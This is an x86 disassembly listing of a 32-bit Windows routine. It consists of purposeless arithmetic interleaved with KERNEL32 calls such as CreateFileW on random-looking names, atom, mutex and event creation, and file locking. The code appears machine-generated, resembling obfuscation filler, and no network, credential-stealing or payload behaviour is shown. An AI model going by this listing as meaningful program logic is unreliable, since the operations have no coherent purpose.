mov edx, dword [0x100b95f8]
mov eax, dword [edx]
mov dword [ebp - 0x5834], eax
lea ecx, [ebp - 0x9c88]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea edx, [ebp - 0x2ebc]
mov dword [0x100bc464], edx
mov eax, dword [ebp - 0x4640]
movsx ecx, byte [eax]
movsx edx, byte [0x100b84ce]
or ecx, edx
mov eax, dword [ebp - 0x430c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3bdc]
movzx eax, word [ecx]
cdq
mov ecx, 0x81
idiv ecx
mov word [ebp - 0x70c], ax
movsx edx, word [ebp - 0x1054]
mov eax, dword [ebp - 0x525c]
movsx ecx, word [eax]
xor edx, ecx
mov word [0x100b752c], dx
mov edx, dword [ebp - 0x5094]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x53cc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x112], al
mov eax, dword [0x100bada8]
mov edx, dword [ebp - 0x4e00]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x53d4], edx
mov eax, dword [ebp - 0x3a80]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4eb0]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [0x100ba164]
mov word [edx], cx
mov eax, dword [ebp - 0x4960]
mov ecx, dword [eax]
mov dword [ebp - 0x5838], ecx
movsx edx, byte [0x100b721e]
movsx ecx, byte [ebp - 0x28f]
sar edx, cl
mov eax, dword [ebp - 0x3f90]
mov byte [eax], dl
lea ecx, [ebp - 0xf24]
mov dword [0x100bc468], ecx
mov edx, dword [ebp - 0x482c]
mov al, byte [edx]
mov byte [ebp - 0x342], al
mov ecx, dword [ebp - 0x2fb0]
imul ecx, dword [ebp - 0x2f74]
mov dword [ebp - 0x2c58], ecx
push 0x25a1
push 0
lea edx, [ebp - 0x4c0c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba6e0], eax
mov eax, dword [0x100b96d0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2e2]
xor ecx, edx
mov byte [0x100b7156], cl
movzx eax, word [0x100bb5d0]
movzx ecx, word [ebp - 0xc20]
xor eax, ecx
mov word [ebp - 0x740], ax
push 0x1010
push 0x250b
push 0x27a2
push 0x1195
mov edx, dword [0x100ba44c]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x583c], eax
push str.WeF_HTx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc46c], ax
lea eax, [ebp - 0x1818]
mov dword [ebp - 0x5840], eax
mov ecx, dword [ebp - 0x556c]
mov edx, dword [ecx]
mov dword [0x100bc470], edx
lea eax, [ebp - 0x187c]
mov dword [ebp - 0x5844], eax
mov ecx, dword [ebp - 0x4b78]
movzx edx, byte [ecx]
movzx eax, byte [0x100b8266]
add edx, eax
mov ecx, dword [ebp - 0x5734]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3cc4]
mov eax, dword [edx]
or eax, dword [ebp - 0x301c]
mov dword [0x100bbc3c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x55f4], eax
movsx ecx, byte [ebp - 0x27d]
movsx edx, byte [ebp - 0xd0]
and ecx, edx
mov eax, dword [ebp - 0x4514]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1310]
mov edx, dword [ebp - 0x3f40]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x9b8], cx
movzx edx, word [ebp - 0x159c]
mov eax, dword [0x100ba750]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100b7514], dx
mov ecx, dword [0x100ba5e4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x304]
sar edx, cl
mov eax, dword [ebp - 0x4f6c]
mov byte [eax], dl
push 0
push 0x10
push 0
push 0
push 8
push 0x80000000
push str.MlzdtIFNMivHzNg5wRq6XI1oe3
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5848], eax
lea ecx, [ebp - 0x50b0]
mov dword [0x100bc474], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc478], eax
mov edx, dword [ebp - 0x5478]
mov ax, word [edx]
mov word [ebp - 0x1a00], ax
mov ecx, dword [ebp - 0x5044]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5030]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x4328]
mov eax, dword [0x100b994c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [0x100ba764]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1090]
movzx ecx, word [0x100bbb88]
and eax, ecx
mov word [ebp - 0xf14], ax
mov edx, dword [0x100ba6e8]
mov eax, dword [ebp - 0x4814]
imul eax, dword [edx]
mov dword [ebp - 0x4bfc], eax
push 0
push 0x1a2d
push 0x2a33
push 0x5733
push 2
mov ecx, dword [0x100bbdb8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x584c], eax
movsx edx, word [ebp - 0x1270]
movsx eax, word [0x100b73c0]
xor edx, eax
mov word [0x100b7530], dx
mov dword [ebp - 0x5850], 0x100b7288
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 0x5854], ecx
movsx edx, byte [ebp - 0x44]
movsx eax, byte [0x100b7e02]
or edx, eax
mov byte [0x100b801b], dl
mov ecx, dword [ebp - 0x40b8]
movsx edx, byte [ecx]
mov eax, dword [0x100b99cc]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2ab], dl
mov ecx, dword [ebp - 0x5388]
mov edx, dword [ebp - 0x3f5c]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2de4], edx
lea eax, [ebp - 0x321]
mov dword [0x100bc47c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc480], eax
lea ecx, [ebp - 0x17fc]
mov dword [ebp - 0x5858], ecx
mov edx, dword [ebp - 0x3e54]
mov ax, word [edx]
mov word [ebp - 0x1a04], ax
mov ecx, dword [ebp - 0x5698]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3acc]
mov eax, dword [0x100b95f8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3d44]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5194]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x49d8]
mov byte [eax], dl
mov ecx, dword [0x100bbc3c]
imul ecx, dword [ebp - 0x2fd8]
mov dword [ebp - 0x2ea4], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3894], eax
mov edx, dword [ebp - 0x528c]
mov al, byte [edx]
mov byte [0x100b8743], al
movzx ecx, word [ebp - 0x748]
movzx edx, word [ebp - 0x166c]
xor ecx, edx
mov word [ebp - 0x14c8], cx
mov eax, dword [0x100bbb8c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [ebp - 0x1808]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc484], ax
mov edx, dword [ebp - 0x53ec]
movsx eax, word [edx]
mov ecx, dword [0x100bb318]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x728], ax
mov eax, dword [ebp - 0x3978]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1ce]
sub ecx, edx
mov byte [0x100b717b], cl
push str.DzWZHpsr_QYV.z7Y9
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a08], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x585c], eax
mov ax, word [ebp - 0x648]
mov word [ebp - 0x1a0c], ax
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x3e80]
mov dword [ebp - 0x5860], ecx
mov edx, dword [ebp - 0x2c04]
or edx, dword [ebp - 0x2e00]
mov dword [0x100b7534], edx
movzx eax, word [ebp - 0x17cc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc488], ax
movzx edx, byte [ebp - 0xa3]
movzx ecx, byte [0x100b82e3]
shl edx, cl
mov eax, dword [ebp - 0x4610]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5864], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9d30], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4dd4], eax
mov ecx, dword [ebp - 0x3d4c]
movsx edx, word [ecx]
mov eax, dword [0x100bac9c]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x584], dx
push str.6Ps3TH_EwAa_KGcOta4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc48c], ax
lea ecx, [ebp - 0x2ae]
mov dword [0x100bc490], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbe9c], eax
lea edx, [ebp - 0x1008]
mov dword [ebp - 0x5868], edx
mov eax, dword [0x100ba6c8]
and eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x2d20], eax
push str.SR_fbyXk_drriY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a10], ax
mov ecx, dword [ebp - 0x3db8]
mov edx, dword [ebp - 0x2d7c]
imul edx, dword [ecx]
mov eax, dword [0x100ba918]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5224]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4354]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x326], dl
mov edx, dword [ebp - 0x4940]
mov al, byte [edx]
mov byte [ebp - 0x343], al
mov ecx, dword [ebp - 0x4e58]
mov dx, word [ecx]
mov word [0x100bc494], dx
mov eax, dword [ebp - 0x49a4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1050]
and ecx, edx
mov word [ebp - 0x17dc], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc498], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5714], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba160], eax
mov eax, dword [ebp - 0x4410]
mov ecx, dword [ebp - 0x3cc4]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2fd8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x586c], eax
mov eax, dword [ebp - 0x4f14]
movsx edx, byte [eax]
mov eax, dword [0x100bc088]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100ba2d4]
mov byte [ecx], dl
mov edx, dword [0x100b9bec]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xb2]
or eax, ecx
mov byte [ebp - 0xf5], al
mov edx, dword [ebp - 0x4cec]
mov dword [ebp - 0x5870], edx
mov ax, word [0x100babd8]
mov word [0x100bc49c], ax
movzx ecx, word [0x100b9a50]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x175c], ax
mov edx, dword [ebp - 0x4f3c]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3e88]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x465c]
mov word [ecx], ax
mov edx, dword [ebp - 0x3ec8]
mov eax, dword [ebp - 0x30b8]
xor eax, dword [edx]
mov dword [ebp - 0x332c], eax
movsx ecx, byte [ebp - 0x2d7]
mov edx, dword [ebp - 0x4f20]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b71da], cl
push 0
push 0x20
push 4
push 0
push 1
push 0x80000000
push str.gfZuUTGE3x4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc4a0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5874], eax
mov ecx, dword [ebp - 0x38fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3cfc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x2bf], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d10], eax
movzx edx, word [ebp - 0x17dc]
mov eax, dword [0x100bb898]
movzx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0x88c], dx
movzx edx, word [ebp - 0xc88]
movzx ecx, word [ebp - 0x538]
sar edx, cl
mov word [0x100ba1d0], dx
mov eax, dword [0x100baec8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x5208]
mov dword [ebp - 0x2eb0], ecx
mov dx, word [ebp - 0x650]
mov word [ebp - 0x1a14], dx
lea eax, [ebp - 0x2d5c]
mov dword [0x100bc4a4], eax
mov ecx, dword [ebp - 0x4420]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x526c]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x113], dl
push str.Y9_oeDb_AGHQXoc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc4a8], ax
movzx edx, byte [ebp - 0x1d0]
mov eax, dword [ebp - 0x3c1c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b73ba], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5878], eax
mov ecx, dword [0x100baa64]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4f94]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x4c88]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb118], eax
mov ecx, dword [0x100bb714]
mov edx, dword [ecx]
mov dword [ebp - 0x587c], edx
mov eax, dword [ebp - 0x4720]
mov ecx, dword [ebp - 0x51b0]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [0x100bb790]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c38]
movsx edx, word [ecx]
movsx eax, word [0x100bc310]
and edx, eax
mov word [ebp - 0x67c], dx
movsx ecx, byte [ebp - 0x88]
mov edx, dword [ebp - 0x3db0]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x107], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3c34], eax
movzx edx, byte [ebp - 0x2cd]
movzx ecx, byte [0x100b814f]
sar edx, cl
mov eax, dword [0x100bb660]
mov byte [eax], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc4ac], eax
push 1
lea ecx, [ebp - 0x981c]
push ecx
mov edx, dword [0x100bc4b4]
push edx
mov eax, dword [0x100bc4b0]
push eax
mov ecx, dword [0x100b9de0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x5880], eax
mov edx, dword [ebp - 0x4ba4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x236]
shl eax, cl
mov byte [ebp - 0x96], al
mov ecx, dword [ebp - 0x2c08]
add ecx, dword [0x100b7384]
mov edx, dword [ebp - 0x53f8]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b98ec], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x45f8], eax
lea eax, [ebp - 0x1098]
mov dword [0x100bc4b8], eax
mov ecx, dword [ebp - 0x4ce8]
mov dx, word [ecx]
mov word [ebp - 0x1a18], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5884], eax
mov eax, dword [0x100bb974]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3110]
mov dword [ebp - 0x46dc], ecx
mov edx, dword [0x100bb200]
movzx eax, byte [edx]
mov ecx, dword [0x100b9598]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [0x100bb6c8]
mov byte [ecx], al
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x5888], edx
mov eax, dword [ebp - 0x4778]
mov ecx, dword [ebp - 0x2b2c]
imul ecx, dword [eax]
mov dword [ebp - 0x3018], ecx
mov dword [0x100bc4bc], 0x100b94f8
mov edx, dword [ebp - 0x5844]
mov ax, word [edx]
mov word [ebp - 0x1a1c], ax
push 0x100ba088
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3540]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4418]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x367c]
mov word [eax], dx
mov ecx, dword [ebp - 0x44fc]
mov dl, byte [ecx]
mov byte [0x100b874e], dl
mov eax, dword [ebp - 0x5350]
mov edx, dword [ebp - 0x2b7c]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x5134], edx
lea eax, [ebp - 0x2ea8]
mov dword [ebp - 0x588c], eax
movsx ecx, byte [0x100b80ee]
movsx edx, byte [ebp - 0x2da]
add ecx, edx
mov byte [0x100b860b], cl
push 0
push 0x100
push 0
push 0
push 4
push 0xc0000000
push str.nSbfTRM4lQjcSHN9dYcpmxrj6CNfEImts
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc4c0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x458c], eax
movzx eax, word [ebp - 0xd90]
mov ecx, dword [ebp - 0x4a50]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xcac], ax
mov eax, dword [ebp - 0x52d0]
movsx ecx, word [eax]
movsx edx, word [0x100b74ac]
sub ecx, edx
mov word [ebp - 0x1194], cx
movsx eax, byte [ebp - 0x21e]
mov ecx, dword [ebp - 0x3f18]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b73bb], al
movzx edx, byte [ebp - 0x231]
mov eax, dword [ebp - 0x47fc]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x28b], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc4c4], eax
mov edx, dword [ebp - 0x44b4]
mov dword [ebp - 0x5890], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5894], eax
mov eax, dword [0x100b7358]
mov ecx, dword [0x100b74f4]
sar eax, cl
mov ecx, dword [0x100b9e58]
mov dword [ecx], eax
lea edx, [ebp - 0x9dc0]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [ebp - 0x25c]
mov ecx, dword [ebp - 0x4640]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4d7c]
mov byte [ecx], al
lea edx, [ebp - 0x1040]
mov dword [ebp - 0x5898], edx
movsx eax, word [0x100b7270]
mov ecx, dword [ebp - 0x4690]
movsx edx, word [ecx]
and eax, edx
mov word [0x100b7538], ax
mov eax, dword [0x100bb308]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x3608]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3b48]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x4064]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb440], eax
lea ecx, [ebp - 0xb224]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push str.bJ2hLMr85AJfukXFFCr3HHJC
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc4c8], eax
mov dword [ebp - 0x589c], 0x100b97a0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x58a0], eax
movzx edx, word [ebp - 0xda0]
mov eax, dword [ebp - 0x4e30]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100ba74c]
mov word [ecx], dx
push 0x100bc4cc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x3080]
xor edx, dword [0x100bc470]
mov dword [ebp - 0x2b94], edx
mov eax, dword [ebp - 0x3d04]
movsx eax, byte [eax]
cdq
mov ecx, 5
idiv ecx
mov byte [ebp - 0xbb], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x43b8], eax
movsx edx, word [ebp - 0x5cc]
movsx eax, word [ebp - 0x1438]
add edx, eax
mov ecx, dword [0x100b99d0]
mov word [ecx], dx
mov dword [ebp - 0x58a4], 0x100b732e
mov edx, dword [0x100bbb9c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4708]
sar eax, cl
mov dword [ebp - 0x4fdc], eax
push 0x100bb404
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ebp - 0x15]
mov dword [0x100bc4e4], ecx
mov dword [ebp - 0x58a8], 0x100b71d8
movzx edx, word [ebp - 0x674]
mov eax, dword [ebp - 0x4974]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x33dc]
mov word [eax], dx
lea ecx, [ebp - 0xb734]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc4e8], eax
mov edx, dword [ebp - 0x47a4]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x4c2c]
mov ecx, dword [0x100b99e4]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x100bbd80], edx
push 0
push 0x10
push 1
push 0
push 1
push 0x80000000
push str.DnvwqGinRUjg22
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x58ac], eax
lea eax, [ebp - 0xf2c]
mov dword [ebp - 0x58b0], eax
mov ecx, dword [0x100bbca8]
movzx edx, byte [ecx]
movzx eax, byte [0x100b71af]
xor edx, eax
mov byte [ebp - 0x284], dl
mov ecx, dword [ebp - 0x4d68]
mov dword [0x100bc4ec], ecx
mov edx, dword [ebp - 0x515c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x129]
sub eax, ecx
mov edx, dword [ebp - 0x4ba8]
mov byte [edx], al
push 0x100bba70
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x58b4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc4f0], eax
mov ax, word [0x100b73d4]
mov word [ebp - 0x1a20], ax
lea ecx, [ebp - 0x84c]
mov dword [0x100bc4f4], ecx
lea edx, [ebp - 0xbb]
mov dword [ebp - 0x58b8], edx
mov eax, dword [ebp - 0x4498]
mov edx, dword [ebp - 0x2ba4]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b74d4], edx
movsx eax, word [ebp - 0x10fc]
mov ecx, dword [ebp - 0x3998]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1660], ax
movzx eax, byte [0x100b8082]
mov ecx, dword [ebp - 0x3658]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x57d0]
mov byte [edx], al
mov eax, dword [ebp - 0x3858]
and eax, dword [ebp - 0x426c]
mov ecx, dword [0x100ba0ec]
mov dword [ecx], eax
lea edx, [ebp - 0x17b4]
mov dword [ebp - 0x58bc], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc0c0], eax
lea eax, [ebp - 0x2a84]
mov dword [ebp - 0x58c0], eax
mov cx, word [ebp - 0x1760]
mov word [0x100bc4f8], cx
mov edx, dword [ebp - 0x52a8]
mov eax, dword [edx]
imul eax, dword [0x100b9540]
mov ecx, dword [ebp - 0x416c]
mov dword [ecx], eax
movzx edx, byte [0x100b7e1f]
movzx eax, byte [ebp - 0xa7]
or edx, eax
mov byte [ebp - 0x67], dl
push 2
lea ecx, [ebp - 0x989c]
push ecx
mov edx, dword [ebp - 0x9928]
push edx
mov eax, dword [ebp - 0x992c]
push eax
mov ecx, dword [ebp - 0x3844]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc4fc], eax
movzx edx, word [0x100badf8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1524], ax
movsx eax, byte [ebp - 0x13b]
movsx ecx, byte [str.mmO]
xor eax, ecx
mov byte [0x100b7e02], al
push 0
push 0x21b5
push 0x2453
push 0xdc
mov edx, dword [0x100ba470]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x58c4], eax
mov dword [ebp - 0x58c8], 0x100b7263
mov eax, dword [ebp - 0x40e4]
mov ecx, dword [ebp - 0x5740]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2a6c], edx
lea eax, [ebp - 0x25e]
mov dword [0x100bc500], eax
lea ecx, [ebp - 0xf24]
mov dword [ebp - 0x58cc], ecx
movzx edx, word [ebp - 0xc28]
movzx ecx, word [ebp - 0x7ac]
shl edx, cl
mov eax, dword [ebp - 0x43bc]
mov word [eax], dx
mov ecx, dword [ebp - 0x57a8]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3ea0]
mov dword [0x100bbbbc], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc504], eax
movsx eax, byte [ebp - 0x23e]
movsx ecx, byte [ebp - 0x2da]
sar eax, cl
mov byte [ebp - 0x1fe], al
mov ecx, dword [ebp - 0x4e8c]
mov edx, dword [ecx]
mov dword [ebp - 0x58d0], edx
mov eax, dword [0x100b9b70]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x28a]
xor ecx, edx
mov byte [0x100b73be], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3e5c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba66c], eax
push 0
push 0x200
push 4
push 0
push 8
push 0x40000000
push str.IcZD11wZOBSuavWNkuP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc508], eax
movzx eax, word [0x100b7470]
movzx ecx, word [ebp - 0x1204]
cdq
idiv ecx
mov edx, dword [ebp - 0x4c20]
mov word [edx], ax
lea eax, [ebp - 0x18cc]
mov dword [ebp - 0x58d4], eax
mov ecx, dword [ebp - 0x50e0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3be0]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100b9b24]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x58d8], eax
lea ecx, [ebp - 0x9ec8]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc50c], eax
mov edx, dword [0x100bbd2c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3f78]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0xec8], ax
mov eax, dword [ebp - 0x554c]
mov ecx, dword [ebp - 0x2cb0]
and ecx, dword [eax]
mov dword [ebp - 0x2b50], ecx
mov edx, dword [ebp - 0x55a4]
mov eax, dword [edx]
mov dword [0x100bc510], eax
movzx ecx, byte [ebp - 0x274]
movzx edx, byte [0x100b8173]
sub ecx, edx
mov byte [ebp - 0x2c0], cl
mov ax, word [0x100b73bc]
mov word [ebp - 0x1a24], ax
movsx edx, byte [ebp - 0x2df]
mov eax, dword [ebp - 0x4950]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100ba514]
mov byte [ecx], dl
push 0x100bb7ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x100bae1c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xca4]
sar eax, cl
mov ecx, dword [ebp - 0x3f20]
mov word [ecx], ax
mov edx, dword [0x100bb24c]
mov ecx, dword [ebp - 0x399c]
mov eax, dword [edx]
cdq
idiv dword [ecx]
mov edx, dword [ebp - 0x5144]
mov dword [edx], eax
lea eax, [ebp - 0x42bc]
mov dword [0x100bc514], eax
movzx ecx, byte [ebp - 0x2e0]
movzx edx, byte [ebp - 0x30d]
add ecx, edx
mov byte [ebp - 0x145], cl
mov dword [ebp - 0x58dc], 0x100b7e6b
push str.MQtX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12ec], ax
movsx eax, word [ebp - 0xd04]
mov ecx, dword [ebp - 0x5528]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [0x100bb9d8]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x58e0], eax
push 0
push 0x20
push 5
push 0
push 2
push 0x40000000
push str.2Ph5dlmnUhP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc518], eax
mov edx, dword [ebp - 0x4900]
movzx eax, word [edx]
imul ecx, eax, 0x539
mov edx, dword [ebp - 0x3570]
mov word [edx], cx
mov eax, dword [ebp - 0x5534]
or eax, dword [ebp - 0x3c5c]
mov dword [ebp - 0x4118], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba7c0], eax
mov dword [0x100bc51c], 0x100b8486
mov ecx, dword [ebp - 0x5224]
mov dl, byte [ecx]
mov byte [ebp - 0x344], dl
mov eax, dword [0x100ba36c]
mov edx, dword [0x100bb650]
